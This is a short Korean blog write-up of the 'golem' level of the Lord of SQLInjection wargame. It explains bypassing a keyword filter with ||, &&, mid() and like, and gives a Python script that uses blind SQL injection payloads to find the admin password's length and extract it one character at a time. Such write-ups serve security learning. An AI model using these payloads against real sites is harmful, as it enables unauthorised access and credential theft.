
11번째 문제 golem 이다.
or and substr = 가 필터링 되어 있다.
각각 || && mid() like 로 우회하면 된다.
import requests
php = '세션값'
pl = 0
for i in range(1,100):
r = requests.get(url, params={'pw':f"' || id like 'admin' && length(pw) like {i};-- -"}, cookies={'PHPSESSID':php})
# print(r.text)
if "Hello admin" in r.text:
print(i)
pl=i
break
password = ''
for i in range(1,pl+1):
for j in range(48,123):
r = requests.get(url, params={'pw':f"' || id like 'admin' && ascii(mid(pw,{i},1)) like '{j}';-- -"}, cookies={'PHPSESSID':php})
if 'Hello admin' in r.text:
password += chr(j)
break
print(password)
이렇게 코드를 짜면

풀었다!
'Web > LOS' 카테고리의 다른 글
| LOS - bugbear (1) | 2024.09.19 |
|---|---|
| LOS - darkknight (0) | 2024.09.17 |
| LOS - skeleton (0) | 2024.09.17 |
| LOS - vampire (0) | 2024.09.17 |
| LOS - troll (1) | 2024.09.17 |